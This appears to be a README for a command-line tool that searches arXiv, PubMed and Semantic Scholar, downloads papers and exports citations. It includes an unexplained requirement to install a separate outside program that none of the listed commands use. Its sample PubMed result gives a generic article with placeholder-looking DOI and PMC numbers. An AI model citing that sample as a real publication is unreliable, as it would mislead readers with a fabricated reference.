Academic Research Hub

Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation Best Practices:

# Standard installation
pip install arxiv scholarly pubmed-parser semanticscholar requests

# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests

Never use --break-system-packages as it can damage your system's Python installation.

Quick Reference

Task	Command
Search arXiv	`python scripts/research.py arxiv "quantum computing"`
Search PubMed	`python scripts/research.py pubmed "covid vaccine"`
Search Semantic Scholar	`python scripts/research.py semantic "machine learning"`
Download papers	`python scripts/research.py arxiv "topic" --download`
Get citations	`python scripts/research.py arxiv "topic" --citations`
Generate bibliography	`python scripts/research.py arxiv "topic" --format bibtex`
Save results	`python scripts/research.py arxiv "topic" --output results.json`

Core Features

1. Multi-Source Search

Search across multiple academic databases from a single interface.

Supported Sources:

arXiv - Physics, mathematics, computer science, quantitative biology, quantitative finance, statistics
PubMed - Biomedical and life sciences literature
Semantic Scholar - Computer science and interdisciplinary research
Google Scholar - Broad academic search (limited, no API)

2. Paper Download

Download full-text PDFs when available.

python scripts/research.py arxiv "deep learning" --download --output-dir papers/

3. Citation Extraction

Extract and format citations from papers.

Supported formats:

BibTeX
RIS
JSON
Plain text

4. Metadata Retrieval

Get comprehensive metadata for each paper:

Title, authors, abstract
Publication date
Journal/conference
DOI, arXiv ID, PubMed ID
Citation count
References

Source-Specific Commands

arXiv Search

Search the arXiv repository for preprints.

# Basic search
python scripts/research.py arxiv "quantum computing"

# Filter by category
python scripts/research.py arxiv "neural networks" --category cs.LG

# Filter by date
python scripts/research.py arxiv "transformers" --year 2023

# Download papers
python scripts/research.py arxiv "attention mechanism" --download --max-results 10

Available categories:

cs.AI - Artificial Intelligence
cs.LG - Machine Learning
cs.CV - Computer Vision
cs.CL - Computation and Language
math.CO - Combinatorics
physics.optics - Optics
q-bio.GN - Genomics
Full list

Output:

1. Attention Is All You Need
   Authors: Vaswani et al.
   Published: 2017-06-12
   arXiv ID: 1706.03762
   Categories: cs.CL, cs.LG
   Abstract: The dominant sequence transduction models...
   PDF: http://arxiv.org/pdf/1706.03762v5

PubMed Search

Search biomedical literature indexed in PubMed.

# Basic search
python scripts/research.py pubmed "cancer immunotherapy"

# Filter by date range
python scripts/research.py pubmed "CRISPR" --start-date 2023-01-01 --end-date 2023-12-31

# Filter by publication type
python scripts/research.py pubmed "covid vaccine" --publication-type "Clinical Trial"

# Get full text links
python scripts/research.py pubmed "gene therapy" --full-text

Publication types:

Clinical Trial
Meta-Analysis
Review
Systematic Review
Randomized Controlled Trial

Output:

1. mRNA vaccine effectiveness against COVID-19
   Authors: Smith J, Jones K, et al.
   Journal: New England Journal of Medicine
   Published: 2023-03-15
   PMID: 36913851
   DOI: 10.1056/NEJMoa2301234
   Abstract: Background: mRNA vaccines have shown...
   Full Text: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9876543/

Semantic Scholar Search

Search computer science and interdisciplinary research.

# Basic search
python scripts/research.py semantic "reinforcement learning"

# Filter by year
python scripts/research.py semantic "graph neural networks" --year 2022

# Get highly cited papers
python scripts/research.py semantic "transformers" --min-citations 100

# Include references
python scripts/research.py semantic "BERT" --include-references

Output includes:

Citation count
Influential citation count
Reference list
Citing papers
Fields of study

Output:

1. BERT: Pre-training of Deep Bidirectional Transformers
   Authors: Devlin J, Chang MW, Lee K, Toutanova K
   Published: 2019
   Paper ID: df2b0e26d0599ce3e70df8a9da02e51594e0e992
   Citations: 15000+
   Influential Citations: 2000+
   Fields: Computer Science, Linguistics
   Abstract: We introduce a new language representation model...
   PDF: https://arxiv.org/pdf/1810.04805.pdf

Essential Options

Result Limits

Control the number of results returned.

--max-results N    # Default: 10, range: 1-100

Examples:

python scripts/research.py arxiv "machine learning" --max-results 5
python scripts/research.py pubmed "diabetes" --max-results 50

Output Formats

Choose how results are formatted.

--format <text|json|bibtex|ris|markdown>

Text - Human-readable format (default)

python scripts/research.py arxiv "quantum" --format text

JSON - Structured data for processing

python scripts/research.py arxiv "quantum" --format json

BibTeX - For LaTeX documents

python scripts/research.py arxiv "quantum" --format bibtex

RIS - For reference managers (Zotero, Mendeley)

python scripts/research.py arxiv "quantum" --format ris

Markdown - For documentation

python scripts/research.py arxiv "quantum" --format markdown

Save to File

Save results to a file.

--output <filepath>

Examples:

python scripts/research.py arxiv "AI" --output results.txt
python scripts/research.py pubmed "cancer" --format json --output papers.json
python scripts/research.py semantic "NLP" --format bibtex --output references.bib

Download Papers

Download full-text PDFs when available.

--download
--output-dir <directory>    # Where to save PDFs (default: downloads/)

Examples:

# Download to default directory
python scripts/research.py arxiv "deep learning" --download --max-results 5

# Download to specific directory
python scripts/research.py arxiv "transformers" --download --output-dir papers/nlp/

Advanced Features

Citation Extraction

Extract citations from papers.

--citations              # Extract citations
--citation-format <format>    # bibtex, ris, json (default: bibtex)

Example:

python scripts/research.py arxiv "attention mechanism" --citations --citation-format bibtex --output citations.bib

Date Filtering

Filter by publication date.

arXiv:

--year <YYYY>           # Specific year
--start-date <YYYY-MM-DD>
--end-date <YYYY-MM-DD>

PubMed:

--start-date <YYYY-MM-DD>
--end-date <YYYY-MM-DD>

Examples:

python scripts/research.py arxiv "quantum" --year 2023
python scripts/research.py pubmed "vaccine" --start-date 2022-01-01 --end-date 2023-12-31

Author Search

Search for papers by specific authors.

--author "Last, First"

Examples:

python scripts/research.py arxiv "neural networks" --author "Hinton, Geoffrey"
python scripts/research.py semantic "deep learning" --author "Bengio, Yoshua"

Sort Options

Sort results by different criteria.

--sort-by <relevance|date|citations>

Examples:

python scripts/research.py arxiv "machine learning" --sort-by date
python scripts/research.py semantic "NLP" --sort-by citations

Common Workflows

Literature Review

Gather papers on a topic for a literature review.

# Step 1: Search multiple sources
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format json --output arxiv_gnn.json
python scripts/research.py semantic "graph neural networks" --max-results 20 --format json --output semantic_gnn.json

# Step 2: Download key papers
python scripts/research.py arxiv "graph neural networks" --download --max-results 10 --output-dir papers/gnn/

# Step 3: Generate bibliography
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format bibtex --output gnn_references.bib

Finding Recent Research

Track the latest papers in a field.

# Last year's papers
python scripts/research.py arxiv "large language models" --year 2023 --sort-by date --max-results 30

# Last month's biomedical papers
python scripts/research.py pubmed "gene therapy" --start-date 2023-11-01 --end-date 2023-11-30 --format markdown --output recent_gene_therapy.md

Highly Cited Papers

Find influential papers in a field.

python scripts/research.py semantic "reinforcement learning" --min-citations 500 --sort-by citations --max-results 25

Author Publication History

Track an author's work.

python scripts/research.py arxiv "deep learning" --author "LeCun, Yann" --sort-by date --max-results 50 --output lecun_papers.json

Building a Reference Library

Create a comprehensive reference collection.

# Create directory structure
mkdir -p references/{papers,citations}

# Search and download papers
python scripts/research.py arxiv "transformers NLP" --download --max-results 15 --output-dir references/papers/

# Generate citations
python scripts/research.py arxiv "transformers NLP" --max-results 15 --format bibtex --output references/citations/transformers.bib

Cross-Source Validation

Verify findings across multiple databases.

# Search same topic across sources
python scripts/research.py arxiv "federated learning" --max-results 10 --output arxiv_fl.txt
python scripts/research.py semantic "federated learning" --max-results 10 --output semantic_fl.txt
python scripts/research.py pubmed "federated learning" --max-results 10 --output pubmed_fl.txt

# Compare results
diff arxiv_fl.txt semantic_fl.txt

Output Format Examples

Text Format (Default)

Search Results: 3 papers found

1. Attention Is All You Need
   Authors: Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.
   Published: 2017-06-12
   arXiv ID: 1706.03762
   Categories: cs.CL, cs.LG
   Abstract: The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...
   PDF: http://arxiv.org/pdf/1706.03762v5

2. BERT: Pre-training of Deep Bidirectional Transformers
   Authors: Devlin, Jacob; Chang, Ming-Wei; Lee, Kenton; Toutanova, Kristina
   Published: 2018-10-11
   arXiv ID: 1810.04805
   Categories: cs.CL
   Abstract: We introduce a new language representation model called BERT...
   PDF: http://arxiv.org/pdf/1810.04805v2

JSON Format

[
  {
    "title": "Attention Is All You Need",
    "authors": ["Vaswani, Ashish", "Shazeer, Noam", "Parmar, Niki"],
    "published": "2017-06-12",
    "arxiv_id": "1706.03762",
    "categories": ["cs.CL", "cs.LG"],
    "abstract": "The dominant sequence transduction models...",
    "pdf_url": "http://arxiv.org/pdf/1706.03762v5",
    "doi": "10.48550/arXiv.1706.03762"
  }
]

BibTeX Format

@article{vaswani2017attention,
  title={Attention Is All You Need},
  author={Vaswani, Ashish and Shazeer, Noam and Parmar, Niki and Uszkoreit, Jakob and Jones, Llion and Gomez, Aidan N and Kaiser, {\L}ukasz and Polosukhin, Illia},
  journal={arXiv preprint arXiv:1706.03762},
  year={2017},
  url={http://arxiv.org/abs/1706.03762}
}

RIS Format

TY  - JOUR
TI  - Attention Is All You Need
AU  - Vaswani, Ashish
AU  - Shazeer, Noam
AU  - Parmar, Niki
PY  - 2017
DA  - 2017/06/12
JO  - arXiv preprint
VL  - arXiv:1706.03762
UR  - http://arxiv.org/abs/1706.03762
ER  -

Markdown Format

# Search Results: 3 papers found

## 1. Attention Is All You Need

**Authors:** Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.

**Published:** 2017-06-12

**arXiv ID:** 1706.03762

**Categories:** cs.CL, cs.LG

**Abstract:** The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...

**PDF:** [Download](http://arxiv.org/pdf/1706.03762v5)

Best Practices

Search Strategy

Start broad - Use general terms to get an overview
Refine iteratively - Add filters based on initial results
Use multiple sources - Cross-reference findings
Check recent papers - Use date filters for current research

Result Management

Save searches - Use --output to preserve results
Organize downloads - Create logical directory structures
Export citations early - Generate BibTeX as you search
Track sources - Note which database returned which papers

Download Guidelines

Respect rate limits - Don't download hundreds of papers at once
Check licensing - Verify you have rights to use papers
Organize by topic - Use clear directory names
Keep metadata - Save JSON alongside PDFs

Citation Practices

Verify citations - Check DOIs and URLs
Use standard formats - BibTeX for LaTeX, RIS for reference managers
Include abstracts - Helpful for later review
Update regularly - Re-run searches for new papers

Troubleshooting

Installation Issues

"Missing required dependency"

# Install all dependencies
pip install arxiv scholarly pubmed-parser semanticscholar requests

# Or use virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests

"OpenClawCLI not found"

Download from https://clawhub.ai/
Install for your OS (Windows/MacOS)

Search Issues

"No results found"

Try broader search terms
Check spelling and terminology
Remove restrictive filters
Try a different database

"Rate limit exceeded"

Wait a few minutes before retrying
Reduce --max-results value
Space out requests

"Download failed"

Check internet connection
Some papers may not have PDFs available
Verify you have permissions to access
Try downloading individually

API Issues

"API timeout"

The service may be temporarily unavailable
Retry after a moment
Check status at respective service websites

"Invalid API response"

Check if the service is down
Verify your query syntax
Try simpler queries

Limitations

Access Restrictions

Not all papers have downloadable PDFs
Some content requires institutional access
Paywalled journals may only show abstracts
Google Scholar has strict rate limits

Data Completeness

Citation counts may be outdated
Not all metadata fields available for every paper
Some older papers may have incomplete records
Preprints may not have final publication info

Search Capabilities

Boolean operators vary by source
No unified query syntax across databases
Some databases don't support all filters
Results may differ from web interface searches

Legal Considerations

Respect copyright and licensing
Don't redistribute downloaded papers
Follow institutional access policies
Check terms of service for each database

Command Reference

python scripts/research.py <source> "<query>" [OPTIONS]

SOURCES:
  arxiv              Search arXiv repository
  pubmed             Search PubMed database
  semantic           Search Semantic Scholar

REQUIRED:
  query              Search query string (in quotes)

GENERAL OPTIONS:
  -n, --max-results  Maximum results (default: 10, max: 100)
  -f, --format       Output format (text|json|bibtex|ris|markdown)
  -o, --output       Save to file path
  --sort-by          Sort by (relevance|date|citations)

FILTERING:
  --year             Filter by specific year (YYYY)
  --start-date       Start date (YYYY-MM-DD)
  --end-date         End date (YYYY-MM-DD)
  --author           Author name
  --min-citations    Minimum citation count

ARXIV-SPECIFIC:
  --category         arXiv category (e.g., cs.AI, cs.LG)

PUBMED-SPECIFIC:
  --publication-type Publication type filter
  --full-text        Include full text links

SEMANTIC-SPECIFIC:
  --include-references   Include paper references

DOWNLOAD:
  --download         Download paper PDFs
  --output-dir       Download directory (default: downloads/)

CITATIONS:
  --citations        Extract citations
  --citation-format  Citation format (bibtex|ris|json)

HELP:
  --help             Show all options

Examples by Use Case

Quick Search

# Find recent papers
python scripts/research.py arxiv "quantum computing"

# Search biomedical literature
python scripts/research.py pubmed "alzheimer disease"

Comprehensive Research

# Search multiple sources
python scripts/research.py arxiv "neural networks" --max-results 30 --output arxiv.json
python scripts/research.py semantic "neural networks" --max-results 30 --output semantic.json

# Download important papers
python scripts/research.py arxiv "neural networks" --download --max-results 10

Citation Management

# Generate BibTeX
python scripts/research.py arxiv "deep learning" --format bibtex --output dl_refs.bib

# Export to reference manager
python scripts/research.py pubmed "gene editing" --format ris --output genes.ris

Tracking New Research

# This month's papers
python scripts/research.py arxiv "LLM" --start-date 2024-01-01 --sort-by date

# Recent highly-cited work
python scripts/research.py semantic "transformers" --year 2023 --min-citations 50

Support

For issues or questions:

Check this documentation
Run python scripts/research.py --help
Verify dependencies are installed
Check database-specific documentation

Resources:

OpenClawCLI: https://clawhub.ai/
arXiv API: https://arxiv.org/help/api
PubMed API: https://www.ncbi.nlm.nih.gov/books/NBK25501/
Semantic Scholar API: https://api.semanticscholar.org/

academic-research-hub

Academic Research Hub

Quick Reference

Core Features

1. Multi-Source Search

2. Paper Download

3. Citation Extraction

4. Metadata Retrieval

Source-Specific Commands

arXiv Search

PubMed Search

Semantic Scholar Search

Essential Options

Result Limits

Output Formats

Save to File

Download Papers

Advanced Features

Citation Extraction

Date Filtering

Author Search

Sort Options

Common Workflows

Literature Review

Finding Recent Research

Highly Cited Papers

Author Publication History

Building a Reference Library

Cross-Source Validation

Output Format Examples

Text Format (Default)

JSON Format

BibTeX Format

RIS Format

Markdown Format

Best Practices

Search Strategy

Result Management

Download Guidelines

Citation Practices

Troubleshooting

Installation Issues

Search Issues

API Issues

Limitations

Access Restrictions

Data Completeness

Search Capabilities

Legal Considerations

Command Reference

Examples by Use Case

Quick Search

Comprehensive Research

Citation Management

Tracking New Research

Support